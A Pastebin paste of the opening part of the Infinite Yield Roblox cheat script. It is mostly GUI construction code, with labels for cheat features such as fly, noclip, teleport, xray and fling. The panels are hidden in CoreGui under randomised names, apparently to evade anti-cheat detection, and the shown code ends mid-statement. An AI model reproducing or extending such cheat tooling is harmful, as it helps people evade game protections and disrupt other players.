Darkaf

inf yield

Jun 6th, 2020
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 288.47 KB | None | 0 0
  1. if IY_LOADED then
  2. error("Infinite Yield is already running!",0)
  3. return
  4. end
  5.  
  6. pcall(function() getgenv().IY_LOADED = true end)
  7.  
  8. if not game:IsLoaded() then
  9. local notLoaded = Instance.new("Message",workspace)
  10. notLoaded.Text = 'Infinite Yield is waiting for the game to load'
  11. game.Loaded:Wait()
  12. notLoaded:Destroy()
  13. end
  14.  
  15. ver = '3.9.3'
  16.  
  17. Players = game:GetService("Players")
  18.  
  19. Holder = Instance.new("Frame")
  20. Title = Instance.new("TextLabel")
  21. Dark = Instance.new("Frame")
  22. Cmdbar = Instance.new("TextBox")
  23. Dark_2 = Instance.new("Frame")
  24. CMDsF = Instance.new("ScrollingFrame")
  25. SettingsButton = Instance.new("ImageButton")
  26. ColorsButton = Instance.new("ImageButton")
  27. Settings = Instance.new("Frame")
  28. Prefix = Instance.new("TextLabel")
  29. PrefixBox = Instance.new("TextBox")
  30. Keybinds = Instance.new("TextLabel")
  31. Select = Instance.new("TextButton")
  32. StayOpen = Instance.new("TextLabel")
  33. Button = Instance.new("Frame")
  34. On = Instance.new("TextButton")
  35. Positions = Instance.new("TextLabel")
  36. Select_8 = Instance.new("TextButton")
  37. SpawnC = Instance.new("TextLabel")
  38. Select_2 = Instance.new("TextButton")
  39. Plugins = Instance.new("TextLabel")
  40. Select_9 = Instance.new("TextButton")
  41. Example = Instance.new("TextButton")
  42. Notification = Instance.new("Frame")
  43. Title_2 = Instance.new("TextLabel")
  44. Text_2 = Instance.new("TextLabel")
  45. CloseButton = Instance.new("ImageButton")
  46. Tooltip = Instance.new("Frame")
  47. Title_3 = Instance.new("TextLabel")
  48. Description = Instance.new("TextLabel")
  49. IntroBackground = Instance.new("Frame")
  50. Logo = Instance.new("ImageLabel")
  51. Credits = Instance.new("TextBox")
  52. KeybindsFrame = Instance.new("Frame")
  53. Close = Instance.new("TextButton")
  54. SpawnCFrame = Instance.new("Frame")
  55. Holder_6 = Instance.new("ScrollingFrame")
  56. Close_5 = Instance.new("TextButton")
  57. Add = Instance.new("TextButton")
  58. Delete = Instance.new("TextButton")
  59. Holder_2 = Instance.new("ScrollingFrame")
  60. Example_2 = Instance.new("Frame")
  61. Text_3 = Instance.new("TextLabel")
  62. Delete_2 = Instance.new("TextButton")
  63. KeybindEditor = Instance.new("Frame")
  64. background_2 = Instance.new("Frame")
  65. Dark_4 = Instance.new("Frame")
  66. Directions = Instance.new("TextLabel")
  67. BindTo = Instance.new("TextButton")
  68. Add_2 = Instance.new("TextButton")
  69. Cmdbar_2 = Instance.new("TextBox")
  70. Toggles = Instance.new("ScrollingFrame")
  71. Fly = Instance.new("TextLabel")
  72. Select_3 = Instance.new("TextButton")
  73. Noclip = Instance.new("TextLabel")
  74. Select_4 = Instance.new("TextButton")
  75. Float = Instance.new("TextLabel")
  76. Select_5 = Instance.new("TextButton")
  77. ClickTP = Instance.new("TextLabel")
  78. Select_6 = Instance.new("TextButton")
  79. ClickDelete = Instance.new("TextLabel")
  80. Select_13 = Instance.new("TextButton")
  81. Xray = Instance.new("TextLabel")
  82. Select_10 = Instance.new("TextButton")
  83. Swim = Instance.new("TextLabel")
  84. Select_11 = Instance.new("TextButton")
  85. Fling = Instance.new("TextLabel")
  86. Select_12 = Instance.new("TextButton")
  87. shadow_2 = Instance.new("Frame")
  88. PopupText_2 = Instance.new("TextLabel")
  89. Exit_2 = Instance.new("ImageButton")
  90. SpawnCEditor = Instance.new("Frame")
  91. background_4 = Instance.new("Frame")
  92. Cmdbar_3 = Instance.new("TextBox")
  93. Add_5 = Instance.new("TextButton")
  94. DelayNum = Instance.new("TextBox")
  95. DelayT = Instance.new("TextLabel")
  96. Directions_3 = Instance.new("TextLabel")
  97. Dark_11 = Instance.new("Frame")
  98. shadow_4 = Instance.new("Frame")
  99. PopupText_4 = Instance.new("TextLabel")
  100. Exit_4 = Instance.new("ImageButton")
  101. PositionsFrame = Instance.new("Frame")
  102. Close_3 = Instance.new("TextButton")
  103. Delete_5 = Instance.new("TextButton")
  104. Part = Instance.new("TextButton")
  105. Holder_4 = Instance.new("ScrollingFrame")
  106. Example_4 = Instance.new("Frame")
  107. Text_5 = Instance.new("TextLabel")
  108. Delete_6 = Instance.new("TextButton")
  109. TP = Instance.new("TextButton")
  110. AliasesFrame = Instance.new("Frame")
  111. Close_2 = Instance.new("TextButton")
  112. Delete_3 = Instance.new("TextButton")
  113. Holder_3 = Instance.new("ScrollingFrame")
  114. Example_3 = Instance.new("Frame")
  115. Text_4 = Instance.new("TextLabel")
  116. Delete_4 = Instance.new("TextButton")
  117. Aliases = Instance.new("TextLabel")
  118. Select_7 = Instance.new("TextButton")
  119. PluginsFrame = Instance.new("Frame")
  120. Close_4 = Instance.new("TextButton")
  121. Add_4 = Instance.new("TextButton")
  122. Delete_8 = Instance.new("TextButton")
  123. Add_3 = Instance.new("TextButton")
  124. Holder_5 = Instance.new("ScrollingFrame")
  125. Example_5 = Instance.new("Frame")
  126. Text_6 = Instance.new("TextLabel")
  127. Delete_7 = Instance.new("TextButton")
  128. PluginEditor = Instance.new("Frame")
  129. background_3 = Instance.new("Frame")
  130. Dark_9 = Instance.new("Frame")
  131. Img = Instance.new("ImageButton")
  132. AddPlugin = Instance.new("TextButton")
  133. FileName = Instance.new("TextBox")
  134. About = Instance.new("TextLabel")
  135. Directions_2 = Instance.new("TextLabel")
  136. shadow_3 = Instance.new("Frame")
  137. PopupText_3 = Instance.new("TextLabel")
  138. Exit_3 = Instance.new("ImageButton")
  139. logsDrag = Instance.new("Frame")
  140. shadow = Instance.new("Frame")
  141. Hide = Instance.new("ImageButton")
  142. PopupText = Instance.new("TextLabel")
  143. Exit = Instance.new("ImageButton")
  144. background = Instance.new("Frame")
  145. Clear = Instance.new("TextButton")
  146. Toggle = Instance.new("TextButton")
  147. SaveChatlogs = Instance.new("TextButton")
  148. scrollCL = Instance.new("ScrollingFrame")
  149. AliasHint = Instance.new("TextLabel")
  150. PluginsHint = Instance.new("TextLabel")
  151. PositionsHint = Instance.new("TextLabel")
  152. ToPartFrame = Instance.new("Frame")
  153. background_5 = Instance.new("Frame")
  154. ChoosePart = Instance.new("TextButton")
  155. CopyPath = Instance.new("TextButton")
  156. Directions_4 = Instance.new("TextLabel")
  157. Path = Instance.new("TextLabel")
  158. shadow_5 = Instance.new("Frame")
  159. PopupText_5 = Instance.new("TextLabel")
  160. Exit_5 = Instance.new("ImageButton")
  161.  
  162. PARENT = nil
  163. if game:GetService("CoreGui"):FindFirstChild('RobloxGui') then
  164. PARENT = game:GetService("CoreGui").RobloxGui
  165. else
  166. PARENT = game:GetService("CoreGui")
  167. end
  168.  
  169. function randomString()
  170. local length = math.random(10,20)
  171. local array = {}
  172. for i = 1, length do
  173. array[i] = string.char(math.random(32, 126))
  174. end
  175. return table.concat(array)
  176. end
  177.  
  178. shade1 = {}
  179. shade2 = {}
  180. shade3 = {}
  181. text1 = {}
  182. text2 = {}
  183. scroll = {}
  184.  
  185. Holder.Name = randomString()
  186. Holder.Parent = PARENT
  187. Holder.Active = true
  188. Holder.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  189. Holder.BackgroundTransparency = 0.2
  190. Holder.BorderSizePixel = 0
  191. Holder.Position = UDim2.new(1, -250, 1, -220)
  192. Holder.Size = UDim2.new(0, 250, 0, 220)
  193. Holder.ZIndex = 10
  194. table.insert(shade2,Holder)
  195.  
  196. Title.Name = "Title"
  197. Title.Parent = Holder
  198. Title.Active = true
  199. Title.BackgroundTransparency = 1
  200. Title.BorderSizePixel = 0
  201. Title.Size = UDim2.new(0, 250, 0, 20)
  202. Title.Font = Enum.Font.SourceSans
  203. Title.TextSize = 20
  204. Title.Text = "Infinite Yield FE v"..ver
  205. Title.TextColor3 = Color3.new(1, 1, 1)
  206. Title.ZIndex = 10
  207. table.insert(text1,Title)
  208.  
  209. Dark.Name = "Dark"
  210. Dark.Parent = Holder
  211. Dark.Active = true
  212. Dark.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  213. Dark.BorderSizePixel = 0
  214. Dark.Position = UDim2.new(0, 0, 0, 45)
  215. Dark.Size = UDim2.new(0, 250, 0, 175)
  216. Dark.ZIndex = 10
  217. table.insert(shade1,Dark)
  218.  
  219. Cmdbar.Name = "Cmdbar"
  220. Cmdbar.Parent = Holder
  221. Cmdbar.BackgroundTransparency = 1
  222. Cmdbar.BorderSizePixel = 0
  223. Cmdbar.Position = UDim2.new(0, 0, 0, 25)
  224. Cmdbar.Size = UDim2.new(0, 250, 0, 20)
  225. Cmdbar.Font = Enum.Font.SourceSans
  226. Cmdbar.TextSize = 20
  227. Cmdbar.Text = "Command Bar"
  228. Cmdbar.TextColor3 = Color3.new(1, 1, 1)
  229. Cmdbar.TextScaled = true
  230. Cmdbar.TextWrapped = true
  231. Cmdbar.ZIndex = 10
  232. table.insert(text1,Cmdbar)
  233.  
  234. Dark_2.Name = "Dark"
  235. Dark_2.Parent = Holder
  236. Dark_2.Active = true
  237. Dark_2.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  238. Dark_2.BorderSizePixel = 0
  239. Dark_2.Position = UDim2.new(0, 0, 0, 20)
  240. Dark_2.Size = UDim2.new(0, 250, 0, 5)
  241. Dark_2.ZIndex = 10
  242. table.insert(shade1,Dark_2)
  243.  
  244. CMDsF.Name = "CMDs"
  245. CMDsF.Parent = Holder
  246. CMDsF.BackgroundTransparency = 1
  247. CMDsF.BorderSizePixel = 0
  248. CMDsF.Position = UDim2.new(0, 0, 0, 45)
  249. CMDsF.Size = UDim2.new(0, 250, 0, 175)
  250. CMDsF.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  251. CMDsF.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  252. CMDsF.CanvasSize = UDim2.new(0, 0, 0, 0)
  253. CMDsF.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  254. CMDsF.ScrollBarThickness = 8
  255. CMDsF.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  256. CMDsF.VerticalScrollBarInset = 'Always'
  257. CMDsF.ZIndex = 10
  258. table.insert(scroll,CMDsF)
  259.  
  260. SettingsButton.Name = "SettingsButton"
  261. SettingsButton.Parent = Holder
  262. SettingsButton.BackgroundTransparency = 1
  263. SettingsButton.Position = UDim2.new(0, 230, 0, 0)
  264. SettingsButton.Size = UDim2.new(0, 20, 0, 20)
  265. SettingsButton.Image = "rbxassetid://1204397029"
  266. SettingsButton.ZIndex = 10
  267.  
  268. ColorsButton.Name = "ColorsButton"
  269. ColorsButton.Parent = Holder
  270. ColorsButton.BackgroundTransparency = 1
  271. ColorsButton.Position = UDim2.new(0, 212, 0, 2)
  272. ColorsButton.Size = UDim2.new(0, 16, 0, 16)
  273. ColorsButton.Image = "rbxassetid://4911962991"
  274. ColorsButton.ZIndex = 10
  275.  
  276. Settings.Name = "Settings"
  277. Settings.Parent = Holder
  278. Settings.Active = true
  279. Settings.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  280. Settings.BorderSizePixel = 0
  281. Settings.Position = UDim2.new(0, 0, 0, 220)
  282. Settings.Size = UDim2.new(0, 250, 0, 175)
  283. Settings.ZIndex = 10
  284. table.insert(shade1,Settings)
  285.  
  286. Prefix.Name = "Prefix"
  287. Prefix.Parent = Settings
  288. Prefix.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  289. Prefix.BorderSizePixel = 0
  290. Prefix.Position = UDim2.new(0, 0, 0, 5)
  291. Prefix.Size = UDim2.new(0, 250, 0, 20)
  292. Prefix.Font = Enum.Font.SourceSans
  293. Prefix.TextSize = 14
  294. Prefix.Text = " Prefix"
  295. Prefix.TextColor3 = Color3.new(1, 1, 1)
  296. Prefix.TextXAlignment = Enum.TextXAlignment.Left
  297. Prefix.ZIndex = 10
  298. table.insert(shade2,Prefix)
  299. table.insert(text1,Prefix)
  300.  
  301. PrefixBox.Name = "PrefixBox"
  302. PrefixBox.Parent = Prefix
  303. PrefixBox.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  304. PrefixBox.BorderSizePixel = 0
  305. PrefixBox.Position = UDim2.new(0, 230, 0, 0)
  306. PrefixBox.Size = UDim2.new(0, 20, 0, 20)
  307. PrefixBox.Font = Enum.Font.SourceSansBold
  308. PrefixBox.TextSize = 14
  309. PrefixBox.Text = ''
  310. PrefixBox.TextColor3 = Color3.new(0, 0, 0)
  311. PrefixBox.ZIndex = 10
  312. table.insert(shade3,PrefixBox)
  313. table.insert(text2,PrefixBox)
  314.  
  315. Keybinds.Name = "Keybinds"
  316. Keybinds.Parent = Settings
  317. Keybinds.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  318. Keybinds.BorderSizePixel = 0
  319. Keybinds.Position = UDim2.new(0, 0, 0, 55)
  320. Keybinds.Size = UDim2.new(0, 250, 0, 20)
  321. Keybinds.Font = Enum.Font.SourceSans
  322. Keybinds.TextSize = 14
  323. Keybinds.Text = " Keybinds"
  324. Keybinds.TextColor3 = Color3.new(1, 1, 1)
  325. Keybinds.TextXAlignment = Enum.TextXAlignment.Left
  326. Keybinds.ZIndex = 10
  327. table.insert(shade2,Keybinds)
  328. table.insert(text1,Keybinds)
  329.  
  330. Select.Name = "Select"
  331. Select.Parent = Keybinds
  332. Select.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  333. Select.BorderSizePixel = 0
  334. Select.Position = UDim2.new(0, 200, 0, 0)
  335. Select.Size = UDim2.new(0, 50, 0, 20)
  336. Select.Font = Enum.Font.SourceSans
  337. Select.TextSize = 14
  338. Select.Text = "Edit"
  339. Select.TextColor3 = Color3.new(0, 0, 0)
  340. Select.ZIndex = 10
  341. table.insert(shade3,Select)
  342. table.insert(text2,Select)
  343.  
  344. Aliases.Name = "Aliases"
  345. Aliases.Parent = Settings
  346. Aliases.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  347. Aliases.BorderSizePixel = 0
  348. Aliases.Position = UDim2.new(0, 0, 0, 80)
  349. Aliases.Size = UDim2.new(0, 250, 0, 20)
  350. Aliases.Font = Enum.Font.SourceSans
  351. Aliases.TextSize = 14
  352. Aliases.Text = " Aliases"
  353. Aliases.TextColor3 = Color3.new(1, 1, 1)
  354. Aliases.TextXAlignment = Enum.TextXAlignment.Left
  355. Aliases.ZIndex = 10
  356. table.insert(shade2,Aliases)
  357. table.insert(text1,Aliases)
  358.  
  359. Select_7.Name = "Select"
  360. Select_7.Parent = Aliases
  361. Select_7.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  362. Select_7.BorderSizePixel = 0
  363. Select_7.Position = UDim2.new(0, 200, 0, 0)
  364. Select_7.Size = UDim2.new(0, 50, 0, 20)
  365. Select_7.Font = Enum.Font.SourceSans
  366. Select_7.TextSize = 14
  367. Select_7.Text = "Edit"
  368. Select_7.TextColor3 = Color3.new(0, 0, 0)
  369. Select_7.ZIndex = 10
  370. table.insert(shade3,Select_7)
  371. table.insert(text2,Select_7)
  372.  
  373. StayOpen.Name = "StayOpen"
  374. StayOpen.Parent = Settings
  375. StayOpen.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  376. StayOpen.BorderSizePixel = 0
  377. StayOpen.Position = UDim2.new(0, 0, 0, 30)
  378. StayOpen.Size = UDim2.new(0, 250, 0, 20)
  379. StayOpen.Font = Enum.Font.SourceSans
  380. StayOpen.TextSize = 14
  381. StayOpen.Text = " Keep Menu Open"
  382. StayOpen.TextColor3 = Color3.new(1, 1, 1)
  383. StayOpen.TextXAlignment = Enum.TextXAlignment.Left
  384. StayOpen.ZIndex = 10
  385. table.insert(shade2,StayOpen)
  386. table.insert(text1,StayOpen)
  387.  
  388. Button.Name = "Button"
  389. Button.Parent = StayOpen
  390. Button.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  391. Button.BorderSizePixel = 0
  392. Button.Position = UDim2.new(0, 230, 0, 0)
  393. Button.Size = UDim2.new(0, 20, 0, 20)
  394. Button.ZIndex = 10
  395. table.insert(shade3,Button)
  396.  
  397. On.Name = "On"
  398. On.Parent = Button
  399. On.BackgroundColor3 = Color3.fromRGB(150, 150, 151)
  400. On.BackgroundTransparency = 1
  401. On.BorderSizePixel = 0
  402. On.Position = UDim2.new(0, 2, 0, 2)
  403. On.Size = UDim2.new(0, 16, 0, 16)
  404. On.Font = Enum.Font.SourceSans
  405. On.FontSize = Enum.FontSize.Size14
  406. On.Text = ""
  407. On.TextColor3 = Color3.new(0, 0, 0)
  408. On.ZIndex = 10
  409.  
  410. Positions.Name = "Positions"
  411. Positions.Parent = Settings
  412. Positions.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  413. Positions.BorderSizePixel = 0
  414. Positions.Position = UDim2.new(0, 0, 0, 105)
  415. Positions.Size = UDim2.new(0, 250, 0, 20)
  416. Positions.Font = Enum.Font.SourceSans
  417. Positions.TextSize = 14
  418. Positions.Text = " Waypoints / Positions / Part TP"
  419. Positions.TextColor3 = Color3.new(1, 1, 1)
  420. Positions.TextXAlignment = Enum.TextXAlignment.Left
  421. Positions.ZIndex = 10
  422. table.insert(shade2,Positions)
  423. table.insert(text1,Positions)
  424.  
  425. Select_8.Name = "Select"
  426. Select_8.Parent = Positions
  427. Select_8.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  428. Select_8.BorderSizePixel = 0
  429. Select_8.Position = UDim2.new(0, 200, 0, 0)
  430. Select_8.Size = UDim2.new(0, 50, 0, 20)
  431. Select_8.Font = Enum.Font.SourceSans
  432. Select_8.TextSize = 14
  433. Select_8.Text = "Edit / TP"
  434. Select_8.TextColor3 = Color3.new(0, 0, 0)
  435. Select_8.ZIndex = 10
  436. table.insert(shade3,Select_8)
  437. table.insert(text2,Select_8)
  438.  
  439. SpawnC.Name = "SpawnC"
  440. SpawnC.Parent = Settings
  441. SpawnC.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  442. SpawnC.BorderSizePixel = 0
  443. SpawnC.Position = UDim2.new(0, 0, 0, 155)
  444. SpawnC.Size = UDim2.new(0, 250, 0, 20)
  445. SpawnC.Font = Enum.Font.SourceSans
  446. SpawnC.TextSize = 14
  447. SpawnC.Text = " Spawn Commands"
  448. SpawnC.TextColor3 = Color3.new(1, 1, 1)
  449. SpawnC.TextXAlignment = Enum.TextXAlignment.Left
  450. SpawnC.ZIndex = 10
  451. table.insert(shade2,SpawnC)
  452. table.insert(text1,SpawnC)
  453.  
  454. Select_2.Name = "Select"
  455. Select_2.Parent = SpawnC
  456. Select_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  457. Select_2.BorderSizePixel = 0
  458. Select_2.Position = UDim2.new(0, 200, 0, 0)
  459. Select_2.Size = UDim2.new(0, 50, 0, 20)
  460. Select_2.Font = Enum.Font.SourceSans
  461. Select_2.TextSize = 14
  462. Select_2.Text = "Edit"
  463. Select_2.TextColor3 = Color3.new(0, 0, 0)
  464. Select_2.ZIndex = 10
  465. table.insert(shade3,Select_2)
  466. table.insert(text2,Select_2)
  467.  
  468. Plugins.Name = "Plugins"
  469. Plugins.Parent = Settings
  470. Plugins.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  471. Plugins.BorderSizePixel = 0
  472. Plugins.Position = UDim2.new(0, 0, 0, 130)
  473. Plugins.Size = UDim2.new(0, 250, 0, 20)
  474. Plugins.Font = Enum.Font.SourceSans
  475. Plugins.TextSize = 14
  476. Plugins.Text = " Plugins"
  477. Plugins.TextColor3 = Color3.new(1, 1, 1)
  478. Plugins.TextXAlignment = Enum.TextXAlignment.Left
  479. Plugins.ZIndex = 10
  480. table.insert(shade2,Plugins)
  481. table.insert(text1,Plugins)
  482.  
  483. Select_9.Name = "Select"
  484. Select_9.Parent = Plugins
  485. Select_9.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  486. Select_9.BorderSizePixel = 0
  487. Select_9.Position = UDim2.new(0, 200, 0, 0)
  488. Select_9.Size = UDim2.new(0, 50, 0, 20)
  489. Select_9.Font = Enum.Font.SourceSans
  490. Select_9.TextSize = 14
  491. Select_9.Text = "Edit"
  492. Select_9.TextColor3 = Color3.new(0, 0, 0)
  493. Select_9.ZIndex = 10
  494. table.insert(shade3,Select_9)
  495. table.insert(text2,Select_9)
  496.  
  497. Example.Name = "Example"
  498. Example.Parent = Holder
  499. Example.BackgroundTransparency = 1
  500. Example.BorderSizePixel = 0
  501. Example.Size = UDim2.new(0, 190, 0, 20)
  502. Example.Visible = false
  503. Example.Font = Enum.Font.SourceSans
  504. Example.TextSize = 18
  505. Example.Text = "Example"
  506. Example.TextColor3 = Color3.new(1, 1, 1)
  507. Example.TextXAlignment = Enum.TextXAlignment.Left
  508. Example.ZIndex = 10
  509. table.insert(text1,Example)
  510.  
  511. Notification.Name = randomString()
  512. Notification.Parent = PARENT
  513. Notification.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  514. Notification.BorderSizePixel = 0
  515. Notification.Position = UDim2.new(1, -500, 1, 20)
  516. Notification.Size = UDim2.new(0, 250, 0, 100)
  517. Notification.ZIndex = 10
  518. table.insert(shade1,Notification)
  519.  
  520. Title_2.Name = "Title"
  521. Title_2.Parent = Notification
  522. Title_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  523. Title_2.BorderSizePixel = 0
  524. Title_2.Size = UDim2.new(0, 250, 0, 20)
  525. Title_2.Font = Enum.Font.SourceSans
  526. Title_2.TextSize = 14
  527. Title_2.Text = "Notification Title"
  528. Title_2.TextColor3 = Color3.new(1, 1, 1)
  529. Title_2.ZIndex = 10
  530. table.insert(shade2,Title_2)
  531. table.insert(text1,Title_2)
  532.  
  533. Text_2.Name = "Text"
  534. Text_2.Parent = Notification
  535. Text_2.BackgroundTransparency = 1
  536. Text_2.BorderSizePixel = 0
  537. Text_2.Position = UDim2.new(0, 5, 0, 25)
  538. Text_2.Size = UDim2.new(0, 240, 0, 75)
  539. Text_2.Font = Enum.Font.SourceSans
  540. Text_2.TextSize = 16
  541. Text_2.Text = "Notification Text"
  542. Text_2.TextColor3 = Color3.new(1, 1, 1)
  543. Text_2.TextWrapped = true
  544. Text_2.ZIndex = 10
  545. table.insert(text1,Text_2)
  546.  
  547. CloseButton.Name = "CloseButton"
  548. CloseButton.Parent = Notification
  549. CloseButton.BackgroundTransparency = 1
  550. CloseButton.Position = UDim2.new(0, 0, 0, 0)
  551. CloseButton.Size = UDim2.new(0, 20, 0, 20)
  552. CloseButton.Image = "rbxassetid://2132544126"
  553. CloseButton.ZIndex = 10
  554.  
  555. Tooltip.Name = randomString()
  556. Tooltip.Parent = PARENT
  557. Tooltip.Active = true
  558. Tooltip.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  559. Tooltip.BackgroundTransparency = 0.1
  560. Tooltip.BorderSizePixel = 0
  561. Tooltip.Size = UDim2.new(0, 200, 0, 96)
  562. Tooltip.Visible = false
  563. Tooltip.ZIndex = 10
  564. table.insert(shade1,Tooltip)
  565.  
  566. Title_3.Name = "Title"
  567. Title_3.Parent = Tooltip
  568. Title_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  569. Title_3.BackgroundTransparency = 0.1
  570. Title_3.BorderSizePixel = 0
  571. Title_3.Size = UDim2.new(0, 200, 0, 20)
  572. Title_3.Font = Enum.Font.SourceSans
  573. Title_3.TextSize = 14
  574. Title_3.Text = ""
  575. Title_3.TextColor3 = Color3.new(1, 1, 1)
  576. Title_3.TextTransparency = 0.1
  577. Title_3.ZIndex = 10
  578. table.insert(shade2,Title_3)
  579. table.insert(text1,Title_3)
  580.  
  581. Description.Name = "Description"
  582. Description.Parent = Tooltip
  583. Description.BackgroundTransparency = 1
  584. Description.BorderSizePixel = 0
  585. Description.Size = UDim2.new(0,180,0,72)
  586. Description.Position = UDim2.new(0,10,0,18)
  587. Description.Font = Enum.Font.SourceSans
  588. Description.TextSize = 16
  589. Description.Text = ""
  590. Description.TextColor3 = Color3.new(1, 1, 1)
  591. Description.TextTransparency = 0.1
  592. Description.TextWrapped = true
  593. Description.ZIndex = 10
  594. table.insert(text1,Description)
  595.  
  596. IntroBackground.Name = "IntroBackground"
  597. IntroBackground.Parent = Holder
  598. IntroBackground.Active = true
  599. IntroBackground.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  600. IntroBackground.BorderSizePixel = 0
  601. IntroBackground.Position = UDim2.new(0, 0, 0, 45)
  602. IntroBackground.Size = UDim2.new(0, 250, 0, 175)
  603. IntroBackground.ZIndex = 10
  604.  
  605. Logo.Name = "Logo"
  606. Logo.Parent = Holder
  607. Logo.BackgroundTransparency = 1
  608. Logo.BorderSizePixel = 0
  609. Logo.Position = UDim2.new(0, 125, 0, 127)
  610. Logo.Size = UDim2.new(0, 10, 0, 10)
  611. Logo.Image = "rbxassetid://1352543873"
  612. Logo.ImageTransparency = 0
  613. Logo.ZIndex = 10
  614.  
  615. Credits.Name = "Credits"
  616. Credits.Parent = Holder
  617. Credits.BackgroundTransparency = 1
  618. Credits.BorderSizePixel = 0
  619. Credits.Position = UDim2.new(0, 0, 0.9, 30)
  620. Credits.Size = UDim2.new(0, 250, 0, 20)
  621. Credits.Font = Enum.Font.SourceSansLight
  622. Credits.FontSize = Enum.FontSize.Size18
  623. Credits.Text = "Edge // Zwolf // Moon"
  624. Credits.TextColor3 = Color3.new(1, 1, 1)
  625. Credits.ZIndex = 10
  626.  
  627. KeybindsFrame.Name = "KeybindsFrame"
  628. KeybindsFrame.Parent = Settings
  629. KeybindsFrame.Active = true
  630. KeybindsFrame.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  631. KeybindsFrame.BorderSizePixel = 0
  632. KeybindsFrame.Position = UDim2.new(0, 0, 0, 175)
  633. KeybindsFrame.Size = UDim2.new(0, 250, 0, 175)
  634. KeybindsFrame.ZIndex = 10
  635. table.insert(shade1,KeybindsFrame)
  636.  
  637. Close.Name = "Close"
  638. Close.Parent = KeybindsFrame
  639. Close.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  640. Close.BorderSizePixel = 0
  641. Close.Position = UDim2.new(0, 205, 0, 150)
  642. Close.Size = UDim2.new(0, 40, 0, 20)
  643. Close.Font = Enum.Font.SourceSans
  644. Close.TextSize = 14
  645. Close.Text = "Close"
  646. Close.TextColor3 = Color3.new(1, 1, 1)
  647. Close.ZIndex = 10
  648. table.insert(shade2,Close)
  649. table.insert(text1,Close)
  650.  
  651. Add.Name = "Add"
  652. Add.Parent = KeybindsFrame
  653. Add.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  654. Add.BorderSizePixel = 0
  655. Add.Position = UDim2.new(0, 5, 0, 150)
  656. Add.Size = UDim2.new(0, 40, 0, 20)
  657. Add.Font = Enum.Font.SourceSans
  658. Add.TextSize = 14
  659. Add.Text = "Add"
  660. Add.TextColor3 = Color3.new(1, 1, 1)
  661. Add.ZIndex = 10
  662. table.insert(shade2,Add)
  663. table.insert(text1,Add)
  664.  
  665. Delete.Name = "Delete"
  666. Delete.Parent = KeybindsFrame
  667. Delete.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  668. Delete.BorderSizePixel = 0
  669. Delete.Position = UDim2.new(0, 50, 0, 150)
  670. Delete.Size = UDim2.new(0, 40, 0, 20)
  671. Delete.Font = Enum.Font.SourceSans
  672. Delete.TextSize = 14
  673. Delete.Text = "Clear"
  674. Delete.TextColor3 = Color3.new(1, 1, 1)
  675. Delete.ZIndex = 10
  676. table.insert(shade2,Delete)
  677. table.insert(text1,Delete)
  678.  
  679. Holder_2.Name = "Holder"
  680. Holder_2.Parent = KeybindsFrame
  681. Holder_2.BackgroundTransparency = 1
  682. Holder_2.BorderSizePixel = 0
  683. Holder_2.Position = UDim2.new(0, 0, 0, 0)
  684. Holder_2.Size = UDim2.new(0, 250, 0, 145)
  685. Holder_2.ScrollBarImageColor3 = Color3.fromRGB(78,78,79)
  686. Holder_2.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  687. Holder_2.CanvasSize = UDim2.new(0, 0, 0, 0)
  688. Holder_2.MidImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  689. Holder_2.ScrollBarThickness = 0
  690. Holder_2.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png"
  691. Holder_2.VerticalScrollBarInset = 'Always'
  692. Holder_2.ZIndex = 10
  693.  
  694. Example_2.Name = "Example"
  695. Example_2.Parent = KeybindsFrame
  696. Example_2.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  697. Example_2.BorderSizePixel = 0
  698. Example_2.Size = UDim2.new(0, 10, 0, 20)
  699. Example_2.Visible = false
  700. Example_2.ZIndex = 10
  701. table.insert(shade2,Example_2)
  702.  
  703. Text_3.Name = "Text"
  704. Text_3.Parent = Example_2
  705. Text_3.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  706. Text_3.BorderSizePixel = 0
  707. Text_3.Position = UDim2.new(0, 10, 0, 0)
  708. Text_3.Size = UDim2.new(0, 240, 0, 20)
  709. Text_3.Font = Enum.Font.SourceSans
  710. Text_3.TextSize = 14
  711. Text_3.Text = "nom"
  712. Text_3.TextColor3 = Color3.new(1, 1, 1)
  713. Text_3.TextXAlignment = Enum.TextXAlignment.Left
  714. Text_3.ZIndex = 10
  715. table.insert(shade2,Text_3)
  716. table.insert(text1,Text_3)
  717.  
  718. Delete_2.Name = "Delete"
  719. Delete_2.Parent = Text_3
  720. Delete_2.BackgroundColor3 = Color3.fromRGB(78, 78, 79)
  721. Delete_2.BorderSizePixel = 0
  722. Delete_2.Position = UDim2.new(0, 200, 0, 0)
